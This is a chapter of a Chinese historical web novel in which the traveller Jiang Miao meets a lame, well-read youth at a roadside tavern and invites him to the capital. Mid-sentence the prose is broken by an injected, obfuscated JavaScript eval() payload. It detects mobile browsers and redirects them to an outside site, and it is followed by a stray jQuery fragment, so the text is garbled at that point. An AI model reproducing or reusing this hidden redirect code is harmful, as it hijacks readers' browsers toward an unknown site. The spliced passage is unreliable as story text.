自那日别了林婋，姜渺乘着车马一路过了始兴、桂阳，如今终于行至荆州地界。
本来她还埋怨王刺史为什么让她第二日就出发，明明距离京中殿试还有三四个月，时间宽裕的很，也不让她亲自回家将这个好消息告诉嫂嫂。可等她真正坐上了马车走了几日，就什么都明白了。
无他，马车速度太慢！
她在这方世界唯一的一次远行就是参加州试，先是乘坐小船，因为刚好顺着风向，所以感觉很快；然后就是和林婋同乘一骑，恰好骑的又是顶级名马，速度就更快了。正是这两次的出行工具速度都出奇的快，才让她产生了自己可以很快抵达京都的错觉。
坐上马车后才知道，这玩意比自行车可要慢太多了。
首先是马，因为南边缺马，这一匹还是看在使君的面上，从州府额外拨出去的一匹老马，速度……自然不敢恭维。
其次是路，纵使他们走的是官道，可也只是略平整宽阔些，途径穷乡僻壤之地，官府无力修缮的，坑坑洼洼就没少过，要是车轮陷进去了，没个一时半刻的功夫，还真就走不了了。根本比不上后世开着车毫无颠簸感的柏油马路。
最后是人，驭马的车夫为了爱惜马力，每天只肯走六个小时。行得两三个小时就要停下来喂草料、让马饮水，遇上路况糟糕的时候，走的时间就更少。晚间害怕遇上野兽和土匪，更是一步不得行，停车、喂马、刷马，伺候自家祖宗也不过如此。
幸而一路上并未遇到任何意外，才终于在第十五天抵达了湘东郡下的一处偏僻县郊。
“吁——”
车夫一声长喝，蹄声渐缓，马车平稳地停了下来。
“姜小娘子，快午时了，刚好前头有个酒肆，咱们歇歇脚？”
“嗯？好。”
姜渺在车内打了个哈欠，整个人蔫蔫的。这一路人困马乏，着实把人折腾的够呛。
她跳下马车，揉了揉眼睛，果然前面路旁挑出个酒招子来，在日头底下叫人看了就心生凉意。
姜渺不自觉咽了咽口水，等车夫拴好了马，两人一道向酒肆走去。
见他们走来，酒肆内早就迎出一位四十许的中年妇人，热情招呼着：“二位请坐，可要来些酒水？”
“咱们歇会还要赶路，喝酒误事，就来些凉水解解渴吧？”
车夫回头向姜渺询问，见她点头才向那妇人道：“酒就不上了，来两碗凉水。”
见妇人脸上笑容不再，车夫从怀里掏了几文钱摆在桌上：“放心，钱少不了你的。”
“哎！”
妇人麻利地收了钱，喜笑颜开地朝里面招呼道：“丑儿，给客人上两碗凉水！”
姜渺坐在凳上，循声朝里看去。
只见一个十四五岁的少年，正手捧一只木盘，低着头，双脚一跛一跛地朝他们走来。
奇怪的是，这少年虽不良于行，但行走间碗中的水却半滴未洒。
少年走到两人面前，也不说话，只将碗砰的一声放到桌上。收了木盘，却不走开，反而抬起头直勾勾地盯着他们看。举止间十分生硬，倒像是不常干这端茶倒水的活计。
姜渺感受到一股灼热的视线，便也抬头向他看去，只见那少年不仅右足微跛，脸上更是长了一脸疙瘩，形容丑陋，让人见了就心生厌恶，果然人如其名，怪不得唤作“丑儿”。
车夫也被这少年的容貌吓了一跳，问妇人道：“他是你什么人？”
“这、这、这是我儿子！他性子古怪，二位客人不要理会他！”妇人见状慌忙出来赔了个不是，扯着少年的胳臂进了里间。
姜渺注视着母子二人的背影若有所思，都说儿子像娘，可这做儿子的连母亲一半的样貌也及不上，真是奇哉怪也。
一碗水喝完，车夫意犹未尽地抹了抹嘴，就要进去找妇人再续一碗。人刚往里走了几步，突然鼻尖耸动，惊喜道：“你这儿还有浆水！怎么不早拿出来！”
不等妇人出言阻拦，车夫就寻到了木桶，自顾自地揭开盖舀了一瓢在碗里，捧回座位献宝似的拿给姜渺看。
“姜小娘子要不要尝尝？”
姜渺看着那碗里黄黄绿绿，还隐隐散发出一股酸味的不明液体，断然拒绝。谁知道这玩意喝下去会不会上吐下泻拉个三天！
车夫却端起碗一饮而尽，一脸回味地咂咂嘴道：“就是这个味，正的很！姜小娘子，你不尝尝真是可惜了，不过等到了京都，大街小巷卖这个的，多的是！”
姜渺瞬间抓住重点：“你是说，这浆水是京都特有的？那这对母子岂不也是京都人？”
这对母子不留在京都，反而不远万里跑到这荆州地界做起了生意，这不显得非常奇怪吗？
“对哦。”车夫恍然，“我和他们还是老乡嘞！”
……
姜渺扶额，她说的是这个意思吗？！
不过到底是人家的家事，她只是个过路人，也懒得打听，就没放在心上。
喝完了水，车夫又起身去伺候马儿饮水吃食，姜渺就坐在原处休息。
那跛脚少年不知何时又窜了出来，板板正正地坐到了她的对面。
“小娘子是去京都参加童子科的吗？”
姜渺见这少年虽面目丑陋，但声音却如玉石相击，泠泠动听。反正闲来无事，她也就有了些谈兴。
“正是。”
少年点点头，又继续专注地问道：“敢问小娘子是因何被县令举荐？家住何处？”
这是，查户口来了？
姜渺被问的一愣，倒也不恼，只是看着少年认真的模样，忽而起了逗弄的心思，她凑近了挑眉笑道：“小郎君问的这么详细，莫非……是想打听清楚路径，来我家做个上门女婿？”
少年显然被这话骇了一跳，整个人连连后退，接连带倒了几条长凳，整个人狼狈地摔在地上，耳根处更是红的滴血。
姜渺没料到他会有这么大的反应，顿时哈哈大笑，起身将人拉了起来，然后半开玩笑地说道：“可惜，你要是长得貌比卫玠，说不定我还会考虑考虑。”
这本来是句玩笑话，不料少年却一板一眼地反驳道：“小娘子也读过书，难道不知‘以貌取人，失之子羽’的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16292790|182227||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道理？”
姜渺眨眨眼，不假思索就脱口而出：“酒肆帮佣也读诗书？”
少年脸上不辨喜怒，目光灼灼还击道：“寒门才俊岂通礼乐？”
这回却换成姜渺坐立难安了。
她本是一时失口，哪料想这少年却迅速反应过来，还用“礼乐”对“诗书”，讽刺自己不知礼，只以出身论英雄，和两汉时那些“举秀才，不知书。察孝廉，父别居”的才俊们并无两样。
一席话将姜渺说的满面羞惭，心中暗暗懊悔：难道真是这几天春风得意，所以人飘了？自己明明是个接受了人人平等观念的新时代好少年，怎么反倒和从前最瞧不上的、充满偏见和傲慢的家伙成了一路人了？
姜渺正色朝着少年行了一礼：“方才是我失言了，还请小郎君勿怪。”
见她语气诚恳，少年面色和缓，也为自己的咄咄逼人道起歉来。
你一言我一语，全是“勿怪”、“对不住”的客套之词。如此两次三番，两人相视一笑，算是各自撂开手，将这番过节揭过不提。
姜渺指了指酒肆问道：“既然小郎君颇通文墨，怎么还在这里屈就？”
少年道：“家道中落，漂泊至此，不过暂求温饱罢了。何况世间营生百样，能自食其力的便是堂皇正道，士农工商，各有本业而已，哪里有什么尊卑贵贱？既没有贵贱之别，也就谈不上屈就二字。”
姜渺闻言，心中微动。她见这少年虽潦倒穷困，却言辞豁达，并不对现状自怜自哀，不由地生出几分敬意。
她从怀中掏出五贯铜钱放在桌上，朝少年推了过去：“小郎君胸有丘壑，他日未必不能鱼跃龙门，些许钱财，权当是买水钱。”
少年神情一怔，随即微微摇头：“小娘子的好意，某心领了，只是世道如此，庙堂江湖，各处都被世家把持，似我这等寒门子弟，岂是有才便能得志？单我这一双跛足，纵使心有千里之志，又能行得几步？”
“足跛又如何？”姜渺皱眉不赞同道，“孙膑身遭刖刑，马陵之战不还是大败庞涓，奠定齐国霸业？”
“我此行将去京都，正缺一同道之人。小郎君既是京都人，不如为我做个向导，与我同往？京都繁华，机遇也多，郎君未必不能一展胸中才华。”
少年的眼中陡然迸发出一阵光彩：“小娘子此话当真？”
“自然当真。”
见姜渺神色真诚，不似作伪。少年起身整了整衣服，对着她一揖到地：“蒙小娘子不弃，岂敢不从？”
姜渺将人扶起道：“此事还得与你母亲先商议好才是。”
少年笑道：“实不相瞒，她非我母，我非她子。我们两个也是半路搭伙做买卖，只是以母子相称罢了。”
“那就再好不过。”姜渺问道，“还没请教小郎君姓名？”
少年想了想道：“我姓柳，名太平。木卯柳，太平盛世的太平。”
“‘天下太平，万物安宁’，好名字！”
两人互通了姓名，姜渺又额外给车夫和那妇人多付了些银钱，权做补偿。这才带着柳太平一同上了马车。